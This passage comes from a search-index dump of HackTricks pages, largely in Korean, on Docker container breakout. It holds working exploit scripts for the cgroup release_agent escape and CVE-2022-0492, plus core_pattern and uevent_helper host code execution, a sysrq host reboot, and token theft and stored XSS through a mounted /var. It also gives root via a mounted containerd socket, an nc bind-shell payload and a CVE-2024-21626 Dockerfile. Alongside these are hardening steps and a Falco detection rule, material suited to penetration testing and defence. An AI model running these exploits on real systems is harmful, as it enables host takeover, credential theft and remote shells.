release_agent 파일에 기록합니다. 이는 페이로드 스크립트를 release_agent로 설정하는 효과를 냅니다. 실행 트리거 및 확인: 각 PID에 대해 cgroup의 cgroup.procs에 기록하여 PID가 올바른 경우 release_agent의 실행을 트리거합니다. 페이로드 스크립트의 출력이 발견될 때까지 루프가 계속됩니다, 이는 성공적인 실행을 나타냅니다. 블로그 게시물의 PoC: bash #!/bin/sh OUTPUT_DIR=\\"/\\"\\nMAX_PID=65535\\nCGROUP_NAME=\\"xyx\\"\\nCGROUP_MOUNT=\\"/tmp/cgrp\\"\\nPAYLOAD_NAME=\\"${CGROUP_NAME}_payload.sh\\"\\nPAYLOAD_PATH=\\"${OUTPUT_DIR}/${PAYLOAD_NAME}\\"\\nOUTPUT_NAME=\\"${CGROUP_NAME}_payload.out\\"\\nOUTPUT_PATH=\\"${OUTPUT_DIR}/${OUTPUT_NAME}\\" # Run a process for which we can search for (not needed in reality, but nice to have)\\nsleep 10000 & # Prepare the payload script to execute on the host\\ncat > ${PAYLOAD_PATH} << __EOF__\\n#!/bin/sh OUTPATH=\\\\$(dirname \\\\$0)/${OUTPUT_NAME} # Commands to run on the host<\\nps -eaf > \\\\${OUTPATH} 2>&1\\n__EOF__ # Make the payload script executable\\nchmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller\\nmkdir ${CGROUP_MOUNT}\\nmount -t cgroup -o memory cgroup ${CGROUP_MOUNT}\\nmkdir ${CGROUP_MOUNT}/${CGROUP_NAME}\\necho 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses\\nTPID=1\\nwhile [ ! -f ${OUTPUT_PATH} ]\\ndo\\nif [ $((${TPID} % 100)) -eq 0 ]\\nthen\\necho \\"Checking pid ${TPID}\\"\\nif [ ${TPID} -gt ${MAX_PID} ]\\nthen\\necho \\"Exiting at ${MAX_PID} :-(\\"\\nexit 1\\nfi\\nfi\\n# Set the release_agent path to the guessed pid\\necho \\"/proc/${TPID}/root${PAYLOAD_PATH}\\" > ${CGROUP_MOUNT}/release_agent\\n# Trigger execution of the release_agent\\nsh -c \\"echo \\\\$\\\\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs\\"\\nTPID=$((${TPID} + 1))\\ndone # Wait for and cat the output\\nsleep 1\\necho \\"Done! Output:\\"\\ncat ${OUTPUT_PATH} tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » release_agent exploit - Relative Paths to PIDs » 익스플로잇 과정","id":"1641","title":"익스플로잇 과정"},"1642":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 자세한 내용은 원본 블로그 게시물 을 참조하십시오. 이것은 요약입니다:","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Docker release_agent cgroups escape » Docker release_agent cgroups escape","id":"1642","title":"Docker release_agent cgroups escape"},"1643":{"body":"shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`\\nmkdir -p $d/w;echo 1 >$d/w/notify_on_release\\nt=`sed -n \'s/.*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab`\\ntouch /o; echo $t/c >$d/release_agent;echo \\"#!/bin/sh\\n$1 >$t/o\\" >/c;chmod +x /c;sh -c \\"echo 0 >$d/w/cgroup.procs\\";sleep 1;cat /o The PoC는 cgroup-v1 release_agent 기능을 악용합니다: notify_on_release=1인 cgroup의 마지막 작업이 종료되면, 커널(호스트의 초기 네임스페이스에서 )은 쓰기 가능한 파일 release_agent에 저장된 경로의 프로그램을 실행합니다. 이 실행은 호스트에서 전체 루트 권한으로 발생하기 때문에 , 파일에 대한 쓰기 접근 권한을 얻는 것만으로도 컨테이너 탈출이 가능합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Docker release_agent cgroups escape » Classic PoC (2019)","id":"1643","title":"Classic PoC (2019)"},"1644":{"body":"새 cgroup 준비하기 shell mkdir /tmp/cgrp\\nmount -t cgroup -o rdma cgroup /tmp/cgrp # 또는 –o memory\\nmkdir /tmp/cgrp/x\\necho 1 > /tmp/cgrp/x/notify_on_release release_agent를 공격자가 제어하는 스크립트로 설정하기 shell host_path=$(sed -n \'s/.*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab)\\necho \\"$host_path/cmd\\" > /tmp/cgrp/release_agent 페이로드 드롭하기 shell cat <<\'EOF\' > /cmd\\n#!/bin/sh\\nps aux > \\"$host_path/output\\"\\nEOF\\nchmod +x /cmd 알림 트리거하기 shell sh -c \\"echo $$ > /tmp/cgrp/x/cgroup.procs\\" # 자신을 추가하고 즉시 종료\\ncat /output # 이제 호스트 프로세스가 포함됨","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Docker release_agent cgroups escape » 짧고 읽기 쉬운 단계별 설명","id":"1644","title":"짧고 읽기 쉬운 단계별 설명"},"1645":{"body":"2022년 2월 Yiqi Sun과 Kevin Wang은 커널이 cgroup-v1에서 release_agent에 쓸 때 권한을 검증하지 않는다는 것을 발견했습니다 (함수 cgroup_release_agent_write). 실제로 cgroup 계층을 마운트할 수 있는 모든 프로세스(예: unshare -UrC를 통해)는 초기 사용자 네임스페이스에서 CAP_SYS_ADMIN 없이 임의의 경로를 release_agent에 쓸 수 있었습니다 . 기본 구성의 루트 실행 Docker/Kubernetes 컨테이너에서는 다음을 허용했습니다: 호스트에서 루트로의 권한 상승; ↗ 컨테이너가 특권을 가지지 않고도 컨테이너 탈출. 이 결함은 CVE-2022-0492 (CVSS 7.8 / 높음)로 지정되었으며, 다음 커널 릴리스(및 이후 모든 릴리스)에서 수정되었습니다: 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299. 패치 커밋: 1e85af15da28 \\"cgroup: Fix permission checking\\".","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Docker release_agent cgroups escape » 2022 커널 취약점 – CVE-2022-0492","id":"1645","title":"2022 커널 취약점 – CVE-2022-0492"},"1646":{"body":"bash # prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside\\napk add --no-cache util-linux # provides unshare\\nunshare -UrCm sh -c \'\\nmkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;\\necho 1 > /tmp/c/notify_on_release;\\necho /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host\\n(sleep 1; echo 0 > /tmp/c/cgroup.procs) &\\nwhile true; do sleep 1; done\\n\' 커널이 취약한 경우, 호스트 의 busybox 바이너리가 전체 루트 권한으로 실행됩니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Docker release_agent cgroups escape » 컨테이너 내 최소한의 익스플로잇","id":"1646","title":"컨테이너 내 최소한의 익스플로잇"},"1647":{"body":"커널 업데이트 (≥ 버전 이상). 패치는 이제 release_agent에 쓰기 위해 초기 사용자 네임스페이스에서 CAP_SYS_ADMIN을 요구합니다. cgroup-v2 선호 – 통합 계층 release_agent 기능을 완전히 제거하여 , 이 클래스의 탈출을 없앴습니다. 불필요한 사용자 네임스페이스 비활성화 : 필요하지 않은 호스트에서: shell sysctl -w kernel.unprivileged_userns_clone=0 의무적 접근 제어 : /sys/fs/cgroup/**/release_agent에서 mount, openat을 거부하거나 CAP_SYS_ADMIN을 제거하는 AppArmor/SELinux 정책은 취약한 커널에서도 이 기술을 중단시킵니다. 읽기 전용 바인드 마스크 모든 release_agent 파일 (Palo Alto 스크립트 예시): shell for f in $(find /sys/fs/cgroup -name release_agent); do\\nmount --bind -o ro /dev/null \\"$f\\"\\ndone","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Docker release_agent cgroups escape » 강화 및 완화","id":"1647","title":"강화 및 완화"},"1648":{"body":"Falco 는 v0.32부터 내장 규칙을 제공합니다: yaml - rule: Detect release_agent File Container Escapes\\ndesc: Detect an attempt to exploit a container escape using release_agent\\ncondition: open_write and container and fd.name endswith release_agent and\\n(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and\\nthread.cap_effective contains CAP_SYS_ADMIN\\noutput: \\"Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)\\"\\npriority: CRITICAL\\ntags: [container, privilege_escalation] 규칙은 여전히 CAP_SYS_ADMIN을 가진 컨테이너 내부의 프로세스에서 */release_agent에 대한 모든 쓰기 시도에 대해 트리거됩니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Docker release_agent cgroups escape » 런타임에서의 탐지","id":"1648","title":"런타임에서의 탐지"},"1649":{"body":"Unit 42 – CVE-2022-0492: container escape via cgroups – 상세 분석 및 완화 스크립트. Sysdig Falco rule & detection guide tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Docker release_agent cgroups escape » References","id":"1649","title":"References"},"165":{"body":"","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » FHRP Hijacking Overview","id":"165","title":"FHRP Hijacking Overview"},"1650":{"body":"Reading time: 13 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. /proc, /sys, 및 /var의 적절한 네임스페이스 격리 없이 노출되면 공격 표면 확대 및 정보 유출을 포함한 상당한 보안 위험이 발생합니다. 이러한 디렉토리는 민감한 파일을 포함하고 있으며, 잘못 구성되거나 무단 사용자가 접근할 경우 컨테이너 탈출, 호스트 수정 또는 추가 공격에 도움이 되는 정보를 제공할 수 있습니다. 예를 들어, -v /proc:/host/proc를 잘못 마운트하면 경로 기반 특성으로 인해 AppArmor 보호를 우회할 수 있으며, /host/proc가 보호되지 않게 됩니다. 각 잠재적 취약점에 대한 추가 세부정보는 https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts 에서 확인할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » Sensitive Mounts","id":"1650","title":"Sensitive Mounts"},"1651":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » procfs Vulnerabilities","id":"1651","title":"procfs Vulnerabilities"},"1652":{"body":"이 디렉토리는 일반적으로 sysctl(2)를 통해 커널 변수를 수정할 수 있는 접근을 허용하며, 여러 개의 우려되는 하위 디렉토리를 포함합니다: /proc/sys/kernel/core_pattern core(5) 에서 설명됨. 이 파일에 쓸 수 있다면, 프로그램이나 스크립트의 경로 뒤에 파이프 |를 써서 충돌이 발생한 후 실행될 수 있습니다. 공격자는 mount를 실행하여 호스트 내에서 자신의 컨테이너로의 경로를 찾고, 그 경로를 자신의 컨테이너 파일 시스템 내의 바이너리에 쓸 수 있습니다. 그런 다음 프로그램을 충돌시켜 커널이 컨테이너 외부에서 바이너리를 실행하도록 만들 수 있습니다. 테스트 및 악용 예시 : bash [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access\\ncd /proc/sys/kernel\\necho \\"|$overlay/shell.sh\\" > core_pattern # Set custom handler\\nsleep 5 && ./crash & # Trigger handler 이 게시물에서 더 많은 정보를 확인하세요: this post . 충돌하는 예제 프로그램: c int main(void) {\\nchar buf[1];\\nfor (int i = 0; i < 100; i++) {\\nbuf[i] = 1;\\n}\\nreturn 0;\\n} /proc/sys/kernel/modprobe proc(5) 에서 자세히 설명됨. 커널 모듈 로더의 경로를 포함하며, 커널 모듈을 로드하기 위해 호출됨. 접근 확인 예제 : bash ls -l $(cat /proc/sys/kernel/modprobe) # modprobe 접근 확인 /proc/sys/vm/panic_on_oom proc(5) 에서 참조됨. OOM 조건이 발생할 때 커널이 패닉을 일으키거나 OOM 킬러를 호출할지를 제어하는 전역 플래그. /proc/sys/fs proc(5) 에 따라, 파일 시스템에 대한 옵션과 정보를 포함함. 쓰기 접근은 호스트에 대한 다양한 서비스 거부 공격을 가능하게 할 수 있음. /proc/sys/fs/binfmt_misc 매직 넘버에 따라 비네이티브 이진 형식에 대한 인터프리터를 등록할 수 있음. /proc/sys/fs/binfmt_misc/register가 쓰기 가능할 경우 권한 상승 또는 루트 쉘 접근으로 이어질 수 있음. 관련된 익스플로잇 및 설명: Poor man\'s rootkit via binfmt_misc 심층 튜토리얼: 비디오 링크","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » /proc/sys","id":"1652","title":"/proc/sys"},"1653":{"body":"/proc/config.gz CONFIG_IKCONFIG_PROC가 활성화된 경우 커널 구성을 드러낼 수 있음. 공격자가 실행 중인 커널의 취약점을 식별하는 데 유용함. /proc/sysrq-trigger Sysrq 명령을 호출할 수 있으며, 즉각적인 시스템 재부팅 또는 기타 중요한 작업을 유발할 수 있음. 호스트 재부팅 예제 : bash echo b > /proc/sysrq-trigger # 호스트 재부팅 /proc/kmsg 커널 링 버퍼 메시지를 노출함. 커널 익스플로잇, 주소 유출 및 민감한 시스템 정보를 제공하는 데 도움을 줄 수 있음. /proc/kallsyms 커널에서 내보낸 심볼과 그 주소를 나열함. KASLR을 극복하기 위한 커널 익스플로잇 개발에 필수적임. 주소 정보는 kptr_restrict가 1 또는 2로 설정된 경우 제한됨. proc(5) 에서 자세히 설명됨. /proc/[pid]/mem 커널 메모리 장치 /dev/mem와 인터페이스함. 역사적으로 권한 상승 공격에 취약함. proc(5) 에서 더 많은 정보. /proc/kcore 시스템의 물리적 메모리를 ELF 코어 형식으로 나타냄. 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 유출할 수 있음. 큰 파일 크기는 읽기 문제나 소프트웨어 충돌을 초래할 수 있음. 2019년 /proc/kcore 덤프하기 에서 자세한 사용법. /proc/kmem 커널 가상 메모리를 나타내는 /dev/kmem의 대체 인터페이스. 읽기 및 쓰기를 허용하여 커널 메모리를 직접 수정할 수 있음. /proc/mem 물리적 메모리를 나타내는 /dev/mem의 대체 인터페이스. 읽기 및 쓰기를 허용하며, 모든 메모리 수정을 위해 가상 주소를 물리 주소로 변환해야 함. /proc/sched_debug PID 네임스페이스 보호를 우회하여 프로세스 스케줄링 정보를 반환함. 프로세스 이름, ID 및 cgroup 식별자를 노출함. /proc/[pid]/mountinfo 프로세스의 마운트 네임스페이스 내 마운트 지점에 대한 정보를 제공함. 컨테이너 rootfs 또는 이미지의 위치를 노출함.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » /proc의 기타 항목","id":"1653","title":"/proc의 기타 항목"},"1654":{"body":"/sys/kernel/uevent_helper 커널 장치 uevents를 처리하는 데 사용됨. /sys/kernel/uevent_helper에 쓰면 uevent 트리거 시 임의의 스크립트를 실행할 수 있음. 익스플로잇 예제 : bash #### Creates a payload echo \\"#!/bin/sh\\" > /evil-helper echo \\"ps > /output\\" >> /evil-helper chmod +x /evil-helper #### Finds host path from OverlayFS mount for container host*path=$(sed -n \'s/.*\\\\perdir=(\\\\[^,]\\\\_).\\\\*/\\\\1/p\' /etc/mtab) #### Sets uevent_helper to malicious helper echo \\"$host_path/evil-helper\\" > /sys/kernel/uevent_helper #### Triggers a uevent echo change > /sys/class/mem/null/uevent #### Reads the output cat /output /sys/class/thermal Controls temperature settings, potentially causing DoS attacks or physical damage. /sys/kernel/vmcoreinfo Leaks kernel addresses, potentially compromising KASLR. /sys/kernel/security Houses securityfs interface, allowing configuration of Linux Security Modules like AppArmor. Access might enable a container to disable its MAC system. /sys/firmware/efi/vars and /sys/firmware/efi/efivars Exposes interfaces for interacting with EFI variables in NVRAM. Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. /sys/kernel/debug debugfs offers a \\"no rules\\" debugging interface to the kernel. History of security issues due to its unrestricted nature.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » /sys 취약점","id":"1654","title":"/sys 취약점"},"1655":{"body":"The host\'s /var folder contains container runtime sockets and the containers\' filesystems. If this folder is mounted inside a container, that container will get read-write access to other containers\' file systems with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other containers and applications that run in them. Kubernetes If a container like this is deployed with Kubernetes: yaml apiVersion: v1 kind: Pod metadata: name: pod-mounts-var labels: app: pentest spec: containers: - name: pod-mounts-var-folder image: alpine volumeMounts: - mountPath: /host-var name: noderoot command: [ \\"/bin/sh\\", \\"-c\\", \\"--\\" ] args: [ \\"while true; do sleep 30; done;\\" ] volumes: - name: noderoot hostPath: path: /var Inside the pod-mounts-var-folder container: bash / # find /host-var/ -type f -iname \'*.env*\' 2>/dev/null /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example\\n\\n/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh / # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret\\nJWT_SECRET=85da0\\nREFRESH_TOKEN_SECRET=14ea / # find /host-var/ -type f -iname \'index.html\' 2>/dev/null\\n/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html\\n\\n/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html\\n/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html / # echo \'\' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh\\nare/nginx/html/index2.html The XSS was achieved: Stored XSS via mounted /var folder Note that the container DOES NOT require a restart or anything. Any changes made via the mounted /var folder will be applied instantly. You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE. Access to cloud credentials The container can read K8s serviceaccount tokens or AWS webidentity tokens which allows the container to gain unauthorized access to K8s or cloud: bash / # find /host-var/ -type f -iname \'*token*\' 2>/dev/null | grep kubernetes.io\\n/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token\\n\\n/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token\\n/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token\\n/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token Docker The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually the other containers\' filesystems are available under a different base path: bash $ docker info | grep -i \'docker root\\\\|storage driver\'\\n스토리지 드라이버: overlay2\\n도커 루트 디렉토리: /var/lib/docker So the filesystems are under /var/lib/docker/overlay2/: bash $ sudo ls -la /var/lib/docker/overlay2 drwx--x--- 4 root root 4096 1월 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d drwx--x--- 4 root root 4096 1월 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496 drwx--x--- 4 root root 4096 1월 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f drwx--x--- 4 root root 4096 1월 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2 Note The actual paths may differ in different setups, which is why your best bet is to use the find command to locate the other containers\' filesystems and SA / web identity tokens","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » /var Vulnerabilities","id":"1655","title":"/var Vulnerabilities"},"1656":{"body":"Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. Treat the following paths as highly sensitive and never expose them to untrusted workloads : text /run/containerd/containerd.sock # containerd CRI 소켓 /var/run/crio/crio.sock # CRI-O 런타임 소켓 /run/podman/podman.sock # Podman API (rootful 또는 rootless) /run/buildkit/buildkitd.sock # BuildKit 데몬 (rootful) /var/run/kubelet.sock # Kubernetes 노드의 Kubelet API /run/firecracker-containerd.sock # Kata / Firecracker Attack example abusing a mounted containerd socket: bash # 컨테이너 내부 (소켓이 /host/run/containerd.sock에 마운트됨)\\nctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest\\nctr --address /host/run/containerd.sock run --tty --privileged --mount \\\\\\ntype=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh\\nchroot /host /bin/bash # 호스트에서 전체 루트 셸 A similar technique works with crictl , podman or the kubelet API once their respective sockets are exposed. Writable cgroup v1 mounts are also dangerous. If /sys/fs/cgroup is bind-mounted rw and the host kernel is vulnerable to CVE-2022-0492 , an attacker can set a malicious release_agent and execute arbitrary code in the initial namespace: bash # 컨테이너가 CAP_SYS_ADMIN을 가지고 있고 취약한 커널을 가정할 때\\nmkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release echo \'/tmp/pwn\' > /sys/fs/cgroup/release_agent # CVE-2022-0492 필요 echo -e \'#!/bin/sh\\\\nnc -lp 4444 -e /bin/sh\' > /tmp/pwn && chmod +x /tmp/pwn\\nsh -c \\"echo 0 > /tmp/x/cgroup.procs\\" # empty-cgroup 이벤트를 트리거합니다. When the last process leaves the cgroup, /tmp/pwn runs as root on the host . Patched kernels (>5.8 with commit 32a0db39f30d) validate the writer’s capabilities and block this abuse.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » Other Sensitive Host Sockets and Directories (2023-2025)","id":"1656","title":"Other Sensitive Host Sockets and Directories (2023-2025)"},"1657":{"body":"CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or docker exec could start a container whose working directory is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14). Dockerfile FROM scratch\\nWORKDIR /proc/self/fd/4 # 4 == \\"/\\" on the host leaked by the runtime\\nCMD [\\"/bin/sh\\"] CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be copy-up into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted docker build on a vulnerable daemon. CVE-2024-1753 – Buildah / Podman bind-mount breakout during build Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to --mount=type=bind in a Containerfile . A crafted build stage could mount / from the host read-write inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series. CVE-2024-40635 – containerd UID integer overflow Supplying a User value larger than 2147483647 in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » Mount-Related Escape CVEs (2023-2025)","id":"1657","title":"Mount-Related Escape CVEs (2023-2025)"},"1658":{"body":"Bind-mount host paths read-only whenever possible and add nosuid,nodev,noexec mount options. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27). In Kubernetes, use securityContext.readOnlyRootFilesystem: true, the restricted PodSecurity profile and avoid hostPath volumes pointing to the paths listed above.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » Hardening Reminders (2025)","id":"1658","title":"Hardening Reminders (2025)"},"1659":{"body":"runc CVE-2024-21626 advisory Unit 42 analysis of CVE-2022-0492 https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts Understanding and Hardening Linux Containers Abusing Privileged and Unprivileged Linux Containers Buildah CVE-2024-1753 advisory containerd CVE-2024-40635 advisory tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Sensitive Mounts » References","id":"1659","title":"References"},"166":{"body":"FHRP는 여러 라우터를 단일 가상 장치로 통합하여 네트워크의 강인성을 제공하도록 설계되었습니다. 이를 통해 부하 분산 및 장애 내성이 향상됩니다. Cisco Systems는 GLBP 및 HSRP와 같은 이 제품군의 주요 프로토콜을 도입했습니다.","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » Insights into FHRP","id":"166","title":"Insights into FHRP"},"1660":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » 네임스페이스","id":"1660","title":"네임스페이스"},"1661":{"body":"PID Namespace","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » PID 네임스페이스","id":"1661","title":"PID 네임스페이스"},"1662":{"body":"Mount Namespace","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » 마운트 네임스페이스","id":"1662","title":"마운트 네임스페이스"},"1663":{"body":"Network Namespace","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » 네트워크 네임스페이스","id":"1663","title":"네트워크 네임스페이스"},"1664":{"body":"IPC Namespace","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » IPC 네임스페이스","id":"1664","title":"IPC 네임스페이스"},"1665":{"body":"UTS Namespace","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » UTS 네임스페이스","id":"1665","title":"UTS 네임스페이스"},"1666":{"body":"Time Namespace","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » 시간 네임스페이스","id":"1666","title":"시간 네임스페이스"},"1667":{"body":"User Namespace tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 